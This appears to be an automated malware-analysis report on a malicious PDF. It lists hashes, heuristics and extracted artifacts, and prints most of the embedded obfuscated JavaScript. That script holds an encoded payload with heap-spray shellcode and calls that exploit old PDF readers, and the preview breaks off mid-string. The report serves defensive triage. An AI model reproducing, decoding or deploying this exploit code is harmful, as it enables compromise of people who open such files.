Malicious PDF — malware analysis report

Static analysis result for SHA-256 4a5e9fedb05f99c9…

MALICIOUS

PDF

26.5 KB Created: 2006-02-01 14:14:12 Authoring application: Wegoptyr (via HghTc6Fs) First seen: 2026-05-08
MD5: 3c445825a2cced9ef4bfd81f7deef116 SHA-1: 04f7adf5b835f777ac885b6e8eb00e321e6bf76b SHA-256: 4a5e9fedb05f99c946b1b63e6fa416b22361e418f0a9afd8ee1625d4ea256081
166 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1027 Obfuscated Files or Information

The PDF contains embedded JavaScript, with a high-confidence heuristic firing for eval() indicating code execution. The JavaScript itself is heavily obfuscated, making it difficult to determine the exact payload. However, the presence of eval() and obfuscation strongly suggests an attempt to download and execute a second-stage payload. The document body contains what appears to be obfuscated JavaScript code, including string concatenations that reconstruct parts of the code. The embedded artifacts are JavaScript files.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    ZcqAvcODzg=hempLqUA5+"urn"+" "+MPWk43P+q749Htdi+hlg6rmF6aL8+"r"+"o"+"mCh"+S80s1hy+"C"+"ode"+"((((c = c.NyRzNK6(0)) & LHCwWIu7u9DH) - 52) %26 + (c & DePdXy69vmK) + ertnmnMIb);";
s = "24 132 111 128 46 126 111 135 122 125 111 114 46 75 46 131 124 115 129 113 111 126 115 54 48 51 131 62 79 62 79 51 131 62 79 62 79 51 131 62 79 62 79 48 57 48 51 131 83 63 82 71 51 131 65 66 82 71 51 131 67 70 64 66 51 131 67 70 67 70 51 131 65 65 67 70 51 131 80 65 82 80 51 131 62 65 63 81 51 131 65 63 81 65 51 131 68 68 81 71 51 131 83 71 70 63 51 131 84 79 68 67 51 131 65 62 70 62 51 131 66 62 64 63 51 131 84 79 83 64 51 131 63 69 81 71 51 131 64 63 64 64 51 131 66 71 64 63 51 131 62 63  …
MOBLes1=" (";URiW3nSgQKZk="=0";UY1GM7wZOmFG="i<s";Pgd4hQ8n1j3b="e";Luo49oniC="ngt";GfXtdvg2Na="{";OQ4kiapH=" p";k6dC4DZr73EY=" ";Cusg7MNhauU="fr";pDNkAx0lpBQ="om";ROnLv2F7sSF="rC";kQ1cYWPnLDNX="4";gGgUTMnA=");";zhwv02x2=" ";JHQwHBU="}";
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1EE 26032 bytes
SHA-256: a91279c25ce770f4c80cb846580f72f752e7f230c38778961bfd510afc1c9b1c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). 16 of 31 identifiers look randomly generated (e.g. 'Pgd4hQ8n1j3b') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
MnDUq2Eigrz="c";VrUxYejAAp="h";FO6gEUs0X="de";FLFJ2HNhl3d="A";
NyRzNK6 = MnDUq2Eigrz+VrUxYejAAp+"arC"+"o"+FO6gEUs0X+FLFJ2HNhl3d;
LHCwWIu7u9DH = 223; DePdXy69vmK = 32; MOvf = eval;ertnmnMIb = 65; 
hempLqUA5="ret";MPWk43P="St";q749Htdi="rin";hlg6rmF6aL8="g.f";S80s1hy="ar";
ZcqAvcODzg=hempLqUA5+"urn"+" "+MPWk43P+q749Htdi+hlg6rmF6aL8+"r"+"o"+"mCh"+S80s1hy+"C"+"ode"+"((((c = c.NyRzNK6(0)) & LHCwWIu7u9DH) - 52) %26 + (c & DePdXy69vmK) + ertnmnMIb);";
s = "24 132 111 128 46 126 111 135 122 125 111 114 46 75 46 131 124 115 129 113 111 126 115 54 48 51 131 62 79 62 79 51 131 62 79 62 79 51 131 62 79 62 79 48 57 48 51 131 83 63 82 71 51 131 65 66 82 71 51 131 67 70 64 66 51 131 67 70 67 70 51 131 65 65 67 70 51 131 80 65 82 80 51 131 62 65 63 81 51 131 65 63 81 65 51 131 68 68 81 71 51 131 83 71 70 63 51 131 84 79 68 67 51 131 65 62 70 62 51 131 66 62 64 63 51 131 84 79 83 64 51 131 63 69 81 71 51 131 64 63 64 64 51 131 66 71 64 63 51 131 62 63 64 63 51 131 64 63 64 63 51 131 64 63 66 80 51 131 84 63 82 83 51 131 64 63 71 70 51 131 64 63 65 63 51 131 79 79 64 63 51 131 81 79 82 71 51 131 69 84 64 66 51 131 70 67 82 64 51 131 84 63 82 83 51 131 82 69 81 71 51 131 82 83 82 83 51 131 81 71 82 83 51 131 64 64 63 81 51 131 64 63 64 63 51 131 82 71 79 79 51 131 63 71 81 71 51 131 64 63 64 63 51 131 81 71 64 63 51 131 64 62 68 81 51 131 64 63 64 63 51 131 68 69 81 71 51 131 64 63 64 63 51 131 81 71 64 63 51 131 64 64 84 79 51 131 64 63 64 63 51 131 82 71 79 79 51 131 62 65 81 71 51 131 64 63 64 63 51 131 81 71 64 63 51 131 64 62 68 67 51 131 64 63 64 63 51 131 63 63 81 71 51 131 64 63 64 63 51 131 81 71 64 63 51 131 64 64 79 70 51 131 64 63 64 63 51 131 82 71 79 79 51 131 64 82 81 71 51 131 64 63 64 63 51 131 81 71 64 63 51 131 64 62 66 62 51 131 64 63 64 63 51 131 65 80 81 71 51 131 64 63 64 63 51 131 81 79 64 63 51 131 69 64 69 71 51 131 84 82 79 79 51 131 66 80 69 64 51 131 66 71 68 63 51 131 65 63 64 63 51 131 64 63 64 63 51 131 81 71 69 68 51 131 64 65 71 62 51 131 64 63 64 63 51 131 81 66 81 71 51 131 64 63 64 63 51 131 69 71 64 63 51 131 69 64 83 64 51 131 84 82 79 79 51 131 66 80 69 64 51 131 66 71 62 63 51 131 65 63 64 63 51 131 64 63 64 63 51 131 81 71 69 68 51 131 64 65 80 70 51 131 64 63 64 63 51 131 83 81 81 71 51 131 64 63 64 63 51 131 69 71 64 63 51 131 69 68 83 64 51 131 63 82 81 71 51 131 64 63 64 67 51 131 79 79 64 63 51 131 63 64 82 71 51 131 68 70 83 70 51 131 83 63 63 64 51 131 83 64 71 63 51 131 82 65 82 82 51 131 79 81 70 84 51 131 82 83 68 68 51 131 83 64 69 83 51 131 63 84 69 79 51 131 64 68 83 69 51 131 63 84 71 71 51 131 69 83 79 70 51 131 66 69 64 62 51 131 83 68 63 84 51 131 64 66 68 68 51 131 81 63 82 83 51 131 81 70 83 64 51 131 64 67 80 66 51 131 64 63 64 63 51 131 79 62 69 79 51 131 65 67 81 82 51 131 64 63 64 62 51 131 79 79 64 63 51 131 63 84 84 67 51 131 64 65 83 68 51 131 66 81 66 64 51 131 62 63 66 67 51 131 83 68 63 84 51 131 64 67 68 65 51 131 66 64 62 83 51 131 62 65 62 63 51 131 83 65 79 64 51 131 63 64 64 71 51 131 69 63 83 63 51 131 66 71 69 63 51 131 64 62 64 67 51 131 64 63 64 63 51 131 69 64 69 65 51 131 81 71 69 63 51 131 64 64 83 62 51 131 64 63 64 63 51 131 84 63 82 83 51 131 82 82 79 79 51 131 83 68 79 79 51 131 83 63 79 64 51 131 63 84 64 71 51 131 65 71 79 80 51 131 84 79 79 67 51 131 64 64 67 67 51 131 81 79 68 63 51 131 63 84 82 69 51 131 64 63 83 69 51 131 63 64 62 65 51 131 63 84 84 65 51 131 69 63 79 71 51 131 79 64 64 62 51 131 69 67 81 82 51 131 83 63 63 64 51 131 84 79 63 64 51 131 83 82 79 79 51 131 82 71 79 64 51 131 67 81 69 67 51 131 63 84 64 70 51 131 65 82 79 70 51 131 79 64 64 62 51 131 64 67 83 63 51 131 82 65 81 79 51 131 83 82 79 79 51 131 84 70 79 79 51 131 83 64 79 64 51 131 63 64 65 63 51 131 63 84 83 63 51 131 68 64 83 68 51 131 64 62 62 82 51 131 64 63 64 63 51 131 69 62 64 63 51 131 69 63 69 64 51 131 69 63 69 63 51 131 69 63 69 63 51 131 69 68 69 63 51 131 81 71 69 63 51 131 64 64 63 70 51 131 64 63 64 63 51 131 65 70 81 71 51 131 64 63 64 63 51 131 66 67 64 63 51 131 64 67 70 62 51 131 64 63 64 63 51 131 79 81 64 63 51 131 66 63 70 63 51 131 82 83 82 83 51 131 81 71 82 83 51 131 64 64 63 68 51 131 64 63 64 63 51 131 84 79 63 64 51 131 69 64 69 64 51 131 69 64 69 64 51 131 84 63 82 83 51 131 63 71 79 63 51 131 79 63 81 71 51 131 81 70 63 71 51 131 64 83 67 66 51 131 67 71 79 62 51 131 80 63 64 66 51 131 80 63 80 63 51 131 67 67 80 63 51 131 69 66 64 69 51 131 81 82 79 79 51 131 68 63 79 81 51 131 82 83 64 66 51 131 81 71 81 63 51 131 82 83 62 84 51 131 82 83 82 83 51 131 81 71 83 64 51 131 82 83 62 71 51 131 82 83 82 83 51 131 65 62 71 71 51 131 64 67 64 62 51 131 83 65 79 63 51 131 64 63 64 82 51 131 65 79 81 71 51 131 82 83 82 83 51 131 63 64 82 83 51 131 69 63 83 63 51 131 81 71 69 67 51 131 64 63 69 67 51 131 64 63 64 63 51 131 81 71 69 63 51 131 64 65 79 79 51 131 64 63 64 63 51 131 84 63 82 83 51 131 79 63 63 69 51 131 62 67 63 82 51 131 67 68 64 63 51 131 81 71 64 80 51 131 64 65 68 62 51 131 64 63 64 63 51 131 82 83 63 64 51 131 82 83 69 68 51 131 81 71 84 63 51 131 64 62 82 79 51 131 64 63 64 63 51 131 82 83 66 71 51 131 64 63 64 63 51 131 82 83 64 63 51 131 81 71 84 63 51 131 82 84 81 71 51 131 82 83 82 83 51 131 69 68 69 64 51 131 63 64 69 69 51 131 69 63 83 63 51 131 81 71 69 67 51 131 64 63 65 84 51 131 64 63 64 63 51 131 81 71 69 63 51 131 64 65 69 66 51 131 64 63 64 63 51 131 84 63 82 83 51 131 79 63 63 69 51 131 62 67 63 82 51 131 67 68 64 63 51 131 81 71 64 80 51 131 64 65 64 79 51 131 64 63 64 63 51 131 82 83 63 64 51 131 82 83 69 68 51 131 69 71 84 63 51 131 69 83 69 84 51 131 83 64 69 79 51 131 64 65 81 79 51 131 83 64 69 71 51 131 82 70 81 71 51 131 82 83 82 83 51 131 69 69 82 83 51 131 79 64 69 68 51 131 64 71 81 82 51 131 82 82 79 79 51 131 64 71 66 80 51 131 63 84 69 68 51 131 67 68 82 83 51 131 81 71 65 67 51 131 64 65 69 81 51 131 64 63 64 63 51 131 84 63 82 83 51 131 82 82 79 79 51 131 66 62 66 71 51 131 66 66 66 81 51 131 66 71 64 63 51 131 68 66 68 70 51 131 67 65 68 69 51 131 82 67 79 79 51 131 64 71 71 70 51 131 64 63 64 63 51 131 82 64 64 63 51 131 67 66 70 69 51 131 66 80 62 83 51 131 63 84 64 63 51 131 67 67 82 83 51 131 62 63 62 67 51 131 62 67 81 71 51 131 64 63 64 65 51 131 82 83 64 63 51 131 79 79 84 63 51 131 81 71 82 71 51 131 64 62 83 79 51 131 64 63 64 63 51 131 84 63 82 83 51 131 82 71 63 79 51 131 64 71 67 67 51 131 79 79 63 69 51 131 62 67 68 67 51 131 63 84 62 63 51 131 64 63 82 83 51 131 82 83 63 84 51 131 62 67 67 67 51 131 81 71 65 82 51 131 64 62 81 83 51 131 64 63 64 63 51 131 84 63 82 83 51 131 83 67 79 64 51 131 69 83 65 63 51 131 71 71 69 84 51 131 64 63 64 62 51 131 64 63 64 63 51 131 66 71 83 64 51 131 66 84 66 83 51 131 64 63 64 63 51 131 67 66 66 71 51 131 66 82 67 65 51 131 81 79 66 81 51 131 79 81 65 66 51 131 62 67 68 67 51 131 69 63 64 67 51 131 62 65 81 71 51 131 82 83 82 84 51 131 69 63 82 83 51 131 68 80 81 71 51 131 64 63 64 65 51 131 81 70 64 63 51 131 82 84 81 65 51 131 82 83 82 83 51 131 81 69 81 71 51 131 82 83 82 83 51 131 79 64 82 83 51 131 64 71 83 67 51 131 66 80 83 64 51 131 66 71 66 82 51 131 67 67 66 84 51 131 66 82 66 67 51 131 65 66 81 79 51 131 68 67 79 81 51 131 64 67 62 67 51 131 81 71 69 63 51 131 82 81 82 79 51 131 82 83 82 83 51 131 81 71 69 63 51 131 64 65 62 64 51 131 64 63 64 63 51 131 71 79 81 70 51 131 82 83 82 84 51 131 81 71 82 83 51 131 82 83 81 69 51 131 82 83 82 83 51 131 83 67 79 64 51 131 83 64 64 71 51 131 63 64 66 71 51 131 64 63 63 65 51 131 66 71 64 63 51 131 67 64 67 66 51 131 67 65 66 66 51 131 65 66 81 79 51 131 68 67 79 81 51 131 64 67 62 67 51 131 81 71 69 63 51 131 82 81 84 62 51 131 82 83 82 83 51 131 81 71 69 63 51 131 64 62 82 70 51 131 64 63 64 63 51 131 80 62 81 70 51 131 82 83 82 84 51 131 81 71 82 83 51 131 82 83 81 69 51 131 82 83 82 83 51 131 83 67 79 64 51 131 83 64 64 71 51 131 66 64 66 71 51 131 67 68 67 69 51 131 66 71 64 63 51 131 66 71 67 64 51 131 66 83 66 67 51 131 65 66 81 79 51 131 68 67 79 81 51 131 64 67 62 67 51 131 81 71 69 63 51 131 82 81 70 68 51 131 82 83 82 83 51 131 81 71 69 63 51 131 64 62 83 83 51 131 64 63 64 63 51 131 66 68 81 70 51 131 82 83 82 84 51 131 81 71 82 83 51 131 82 83 81 69 51 131 82 83 82 83 51 131 83 67 79 64 51 131 83 64 64 71 51 131 67 69 66 71 51 131 67 71 66 68 51 131 81 79 64 63 51 131 79 81 65 66 51 131 62 67 68 67 51 131 69 63 64 67 51 131 79 65 81 71 51 131 82 83 82 81 51 131 69 63 82 83 51 131 70 80 81 71 51 131 64 63 64 62 51 131 81 70 64 63 51 131 82 84 68 65 51 131 82 83 82 83 51 131 81 69 81 71 51 131 82 83 82 83 51 131 79 64 82 83 51 131 64 67 83 67 51 131 81 71 83 64 51 131 64 62 70 79 51 131 64 63 64 63 51 131 65 79 66 71 51 131 68 69 83 69 51 131 69 63 67 70 51 131 83 69 81 71 51 131 64 63 64 62 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 64 62 80 68 51 131 64 63 64 63 51 131 81 82 66 71 51 131 64 64 80 68 51 131 69 63 64 82 51 131 71 65 81 71 51 131 64 63 64 62 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 64 62 79 64 51 131 64 63 64 63 51 131 70 80 66 71 51 131 64 81 82 82 51 131 69 63 67 82 51 131 80 84 81 71 51 131 64 63 64 62 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 64 62 66 83 51 131 64 63 64 63 51 131 81 81 66 71 51 131 81 83 69 69 51 131 69 63 63 69 51 131 79 80 81 71 51 131 64 63 64 62 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 64 62 69 79 51 131 64 63 64 63 51 131 82 63 66 71 51 131 64 67 79 80 51 131 69 63 69 83 51 131 67 69 81 71 51 131 64 63 64 62 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 82 84 82 68 51 131 82 83 82 83 51 131 67 71 66 71 51 131 84 79 66 71 51 131 69 63 65 82 51 131 66 65 81 71 51 131 64 63 64 62 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 64 62 63 64 51 131 64 63 64 63 51 131 81 83 66 71 51 131 81 63 83 84 51 131 69 63 66 63 51 131 68 84 81 71 51 131 64 63 64 62 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 64 62 65 83 51 131 64 63 64 63 51 131 71 63 66 71 51 131 62 81 68 70 51 131 69 63 84 79 51 131 63 80 81 71 51 131 64 63 64 62 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 82 83 63 69 51 131 82 83 82 83 51 131 70 79 66 71 51 131 80 79 69 84 51 131 69 63 65 84 51 131 62 69 81 71 51 131 64 63 64 62 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 82 84 70 68 51 131 82 83 82 83 51 131 69 70 66 71 51 131 79 62 80 68 51 131 69 63 64 65 51 131 65 65 81 71 51 131 64 63 64 62 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 64 63 81 64 51 131 64 63 64 63 51 131 67 84 66 71 51 131 81 65 84 71 51 131 69 63 67 64 51 131 82 84 81 71 51 131 64 63 64 63 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 64 63 83 83 51 131 64 63 64 63 51 131 80 84 66 71 51 131 71 79 82 70 51 131 69 63 63 66 51 131 81 80 81 71 51 131 64 63 64 63 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 82 84 80 65 51 131 82 83 82 83 51 131 69 68 66 71 51 131 71 66 70 63 51 131 69 63 71 79 51 131 84 69 81 71 51 131 64 63 64 63 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 82 84 67 84 51 131 82 83 82 83 51 131 65 80 66 71 51 131 65 84 67 80 51 131 69 63 64 65 51 131 83 65 81 71 51 131 64 63 64 63 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 82 84 66 80 51 131 82 83 82 83 51 131 81 63 66 71 51 131 63 63 69 79 51 131 69 63 80 67 51 131 70 84 81 71 51 131 64 63 64 63 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 82 84 69 69 51 131 82 83 82 83 51 131 80 68 66 71 51 131 81 65 83 70 51 131 69 63 70 64 51 131 80 80 81 71 51 131 64 63 64 63 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 82 84 68 65 51 131 82 83 82 83 51 131 66 71 66 71 51 131 83 66 62 67 51 131 69 63 71 64 51 131 79 69 81 71 51 131 64 63 64 63 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 64 63 69 68 51 131 64 63 64 63 51 131 67 65 66 71 51 131 71 64 82 84 51 131 69 63 65 69 51 131 67 65 81 71 51 131 64 63 64 63 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 82 84 68 67 51 131 82 83 82 83 51 131 65 64 81 79 51 131 66 66 66 80 51 131 81 71 69 63 51 131 82 79 82 68 51 131 82 83 82 83 51 131 81 71 69 63 51 131 82 84 70 79 51 131 82 83 82 83 51 131 71 68 81 70 51 131 82 83 82 82 51 131 81 71 82 83 51 131 82 83 81 71 51 131 82 83 82 83 51 131 81 71 83 64 51 131 82 81 70 70 51 131 82 83 82 83 51 131 68 83 66 71 51 131 68 83 81 83 51 131 69 63 64 66 51 131 63 84 81 71 51 131 64 63 64 63 51 131 79 64 64 63 51 131 64 71 83 67 51 131 81 71 83 64 51 131 64 63 64 83 51 131 64 63 64 63 51 131 79 84 66 71 51 131 64 84 68 84 51 131 69 63 81 82 51 131 62 80 81 71 51 131 64 63 64 63 51 131 79 64 64 63 51 131 64 71 83 67 51 131 63 64 83 64 51 131 66 67 83 63 51 131 68 63 79 79 51 131 79 66 63 63 51 131 67 71 83 63 51 131 63 84 65 63 51 131 68 63 79 79 51 131 63 84 64 82 51 131 67 63 79 79 51 131 70 81 65 82 51 131 79 79 63 84 51 131 64 71 68 63 51 131 81 79 83 64 51 131 63 84 64 79 51 131 68 63 79 79 51 131 79 64 63 67 51 131 67 82 83 63 51 131 79 79 63 84 51 131 63 82 68 63 51 131 66 63 83 64 51 131 79 79 63 69 51 131 62 67 66 82 51 131 63 69 62 67 51 131 68 66 79 79 51 131 63 69 63 82 51 131 69 67 79 79 51 131 67 71 64 66 51 131 84 66 64 64 51 131 79 79 63 84 51 131 65 71 68 80 51 131 79 79 63 84 51 131 62 63 69 80 51 131 84 81 64 64 51 131 63 79 81 64 51 131 63 84 68 70 51 131 63 67 79 79 51 131 64 64 79 79 51 131 63 64 82 66 51 131 63 64 82 83 51 131 82 82 83 63 51 131 79 67 70 82 51 131 67 67 83 63 51 131 83 62 64 68 51 131 64 81 83 83 51 131 82 71 64 64 51 131 82 67 81 79 51 131 63 79 63 69 51 131 62 67 67 82 51 131 67 66 62 71 51 131 63 84 84 83 51 131 69 80 79 79 51 131 64 64 62 67 51 131 66 69 84 81 51 131 79 79 63 84 51 131 68 79 64 82 51 131 79 79 63 84 51 131 65 82 69 80 51 131 84 81 64 64 51 131 79 79 63 84 51 131 79 79 64 67 51 131 83 66 64 64 51 131 79 70 63 69 51 131 62 67 68 67 51 131 66 62 65 82 51 131 81 71 83 64 51 131 82 79 66 69 51 131 82 83 82 83 51 131 67 67 66 71 51 131 67 63 67 67 51 131 62 83 63 80 51 131 67 68 62 83 51 131 67 65 66 83 51 131 66 70 67 68 51 131 66 79 66 84 51 131 66 64 62 84 51 131 66 81 66 83 51 131 67 63 62 83 51 131 66 64 66 70 51 131 67 66 62 83 51 131 67 63 67 80 51 131 67 63 62 84 51 131 67 63 66 71 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 64 63 64 63 51 131 62 62 64 63 48 55 73 24 61 61 59 59 59 59 59 59 59 24 132 111 128 46 123 115 123 125 128 135 73 24 116 131 124 113 130 119 125 124 46 92 115 133 109 97 113 128 119 126 130 54 126 111 135 122 125 111 114 55 24 137 24 61 61 132 111 128 46 126 111 135 122 125 111 114 73 24 61 61 119 116 54 111 114 125 112 115 71 55 61 61 111 114 125 112 115 46 128 115 111 114 115 128 46 70 46 133 125 128 121 129 46 111 122 129 125 46 133 119 130 118 46 111 126 126 60 129 115 130 98 119 123 115 93 131 130 77 24 61 61 132 111 128 46 129 130 111 128 130 133 119 130 118 46 75 46 111 126 126 60 111 122 115 128 130 54 53 86 119 53 55 73 61 61 128 115 127 131 119 128 115 114 46 116 125 128 46 111 114 125 112 115 71 24 46 132 111 128 46 124 125 126 46 75 46 131 124 115 129 113 111 126 115 54 48 106 51 131 71 62 71 62 106 51 131 71 62 71 62 48 55 73 46 61 61 122 125 124 117 46 124 125 126 46 133 119 122 122 46 111 122 129 125 46 116 125 128 113 115 46 130 118 115 46 111 114 114 128 115 129 129 46 130 125 46 117 125 46 130 125 46 62 134 71 62 71 62 71 62 71 62 46 129 125 46 64 46 129 130 115 126 129 46 119 124 46 125 124 115 46 73 55 24 46 132 111 128 46 129 118 115 122 122 113 125 114 115 46 75 46 126 111 135 122 125 111 114 73 24 46 133 118 119 122 115 54 124 125 126 60 122 115 124 117 130 118 46 74 75 46 62 134 63 62 62 62 62 62 61 64 55 46 124 125 126 57 75 124 125 126 73 24 46 124 125 126 75 124 125 126 60 129 131 112 129 130 128 119 124 117 54 62 58 62 134 63 62 62 62 62 62 61 64 46 59 46 129 118 115 122 122 113 125 114 115 60 122 115 124 117 130 118 55 73 24 46 123 115 123 125 128 135 75 124 115 133 46 79 128 128 111 135 54 55 73 24 46 116 125 128 54 119 75 62 73 119 74 62 134 68 116 116 62 73 119 57 57 55 46 61 61 133 115 46 129 118 125 131 122 114 46 111 130 46 122 115 111 129 130 46 125 132 115 128 133 128 119 130 115 46 62 134 71 62 71 62 71 62 71 62 24 46 137 123 115 123 125 128 135 105 119 107 75 124 125 126 46 57 46 129 118 115 122 122 113 125 114 115 73 139 24 61 61 129 130 111 128 130 46 115 134 126 122 125 119 130 46 124 125 133 24 129 130 111 128 130 54 55 73 24 116 131 124 113 130 119 125 124 46 129 130 111 128 130 64 54 55 24 137 24 46 130 118 119 129 60 117 115 130 79 124 124 125 130 129 54 59 63 65 66 64 63 69 69 64 70 58 59 63 65 66 64 63 69 69 64 70 58 59 63 65 66 64 63 69 69 64 70 58 59 63 65 66 64 63 69 69 64 70 55 73 24 139 24 116 131 124 113 130 119 125 124 46 129 130 111 128 130 54 55 24 137 24 130 118 119 129 60 129 126 115 122 122 60 113 131 129 130 125 123 82 119 113 130 119 125 124 111 128 135 93 126 115 124 54 62 58 124 125 126 55 73 61 61 129 125 46 130 118 115 46 115 134 126 122 125 119 130 46 120 131 123 126 129 46 111 113 130 131 111 122 122 135 46 130 125 46 62 134 71 62 71 62 71 62 71 62 60 46 94 122 111 113 115 46 111 46 132 115 128 135 46 122 125 124 117 46 53 79 79 79 79 53 46 111 130 46 130 118 115 46 129 115 113 125 124 114 46 126 111 128 111 123 46 130 125 46 117 125 46 130 125 46 62 134 66 63 66 63 66 63 66 63 46 73 55 24 139 24 139 24 61 61 59 59 59 59 59 59 59 24 132 111 128 46 111 128 128 135 46 75 46 124 115 133 46 79 128 128 111 135 54 55 73 24 116 131 124 113 130 119 125 124 46 116 119 134 109 119 130 54 135 111 128 129 126 58 46 122 115 124 55 24 137 46 24 133 118 119 122 115 46 54 135 111 128 129 126 60 122 115 124 117 130 118 56 64 74 122 115 124 55 137 135 111 128 129 126 46 57 75 46 135 111 128 129 126 73 139 46 24 135 111 128 129 126 46 75 46 135 111 128 129 126 60 129 131 112 129 130 128 119 124 117 54 62 58 122 115 124 61 64 55 73 24 128 115 130 131 128 124 46 135 111 128 129 126 73 46 24 139 24 132 111 128 46 132 115 128 129 119 125 124 46 75 46 111 126 126 60 132 119 115 133 115 128 100 115 128 129 119 125 124 73 24 119 116 46 54 132 115 128 129 119 125 124 46 76 46 70 55 46 24 137 24 132 111 128 46 126 111 135 122 125 111 114 73 24 124 125 126 46 75 46 131 124 115 129 113 111 126 115 54 48 51 131 62 79 62 79 51 131 62 79 62 79 51 131 62 79 62 79 51 131 62 79 62 79 48 55 24 118 115 111 126 112 122 125 113 121 46 75 46 124 125 126 46 57 46 126 111 135 122 125 111 114 73 24 112 119 117 112 122 125 113 121 46 75 46 131 124 115 129 113 111 126 115 54 48 51 131 62 79 62 79 51 131 62 79 62 79 48 55 73 24 118 115 111 114 115 128 129 119 136 115 46 75 46 64 62 73 24 129 126 128 111 135 46 75 46 118 115 111 114 115 128 129 119 136 115 57 118 115 111 126 112 122 125 113 121 60 122 115 124 117 130 118 73 24 133 118 119 122 115 46 54 112 119 117 112 122 125 113 121 60 122 115 124 117 130 118 74 129 126 128 111 135 55 46 112 119 117 112 122 125 113 121 57 75 112 119 117 112 122 125 113 121 73 24 116 119 122 122 112 122 125 113 121 46 75 46 112 119 117 112 122 125 113 121 60 129 131 112 129 130 128 119 124 117 54 62 58 46 129 126 128 111 135 55 73 24 112 122 125 113 121 46 75 46 112 119 117 112 122 125 113 121 60 129 131 112 129 130 128 119 124 117 54 62 58 46 112 119 117 112 122 125 113 121 60 122 115 124 117 130 118 59 129 126 128 111 135 55 73 24 133 118 119 122 115 54 112 122 125 113 121 60 122 115 124 117 130 118 57 129 126 128 111 135 46 74 46 62 134 66 62 62 62 62 55 46 112 122 125 113 121 46 75 46 112 122 125 113 121 57 112 122 125 113 121 57 116 119 122 122 112 122 125 113 121 73 24 123 115 123 46 75 46 124 115 133 46 79 128 128 111 135 54 55 73 24 46 116 125 128 46 54 119 75 62 73 119 74 63 66 62 62 73 119 57 57 55 46 123 115 123 105 119 107 46 75 46 112 122 125 113 121 46 57 46 118 115 111 126 112 122 125 113 121 73 24 132 111 128 46 124 131 123 46 75 46 63 64 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 70 